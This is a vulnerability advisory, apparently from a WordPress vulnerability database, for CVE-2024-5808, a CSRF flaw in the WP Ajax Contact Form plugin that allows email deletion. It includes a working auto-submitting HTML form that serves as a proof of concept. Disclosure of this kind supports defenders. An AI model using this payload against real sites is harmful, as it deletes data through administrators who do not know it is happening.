WP Ajax Contact Form <= 2.2.2 – Arbitrary Email Deletion via CSRF | CVE 2024-5808 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check in place when deleting emails from the email list, which could allow attackers to make a logged in admin perform such action via a CSRF attack

Proof of Concept

Make a logged in admin open an HTML page containing the following:

```
<form action="http://localhost:8888/wordpress/wp-admin/admin.php?page=members_list" method="POST">
    <input type="hidden" name="did" value="__INSERT_EMAIL_ID__">
    <input type="hidden" name="eid" value="__INSERT_EMAIL_ID__">
	<input type="submit" name="delete" value="Confirm Delete">
	<input type="submit" name="" value="Cancel">
</form>
<script>
    document.forms[0].submit();    
</script>
```

Affects Plugins

wp-ajax-contact-form

No known fix

References

CVE

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Bob Matyas

Submitter

Bob Matyas

Submitter website

https://www.bobmatyas.com

Submitter twitter

Verified

Yes

WPVDB ID

1783bbce-3cc3-4a7e-a491-b713cee8278b

Timeline

Publicly Published

2024-07-09 (about 1 year ago)

Added

2024-07-09 (about 1 year ago)

Last Updated

2024-07-09 (about 1 year ago)

Other

Published

Title

Published

2024-10-18

Title

EventON PRO - WordPress Virtual Event Calendar Plugin < 4.7 - Cross-Site Request Forgery via admin_test_email

Published

2025-04-24

Title

Google News <= 2.5.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Published

2023-12-29

Title

WP Job Portal < 2.0.7 - Cross-Site Request Forgery

Published

2023-05-11

Title

Forget About Shortcode Buttons < 2.1.3 - CSRF

Published

2025-03-24

Title

CopyLink <= 1.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting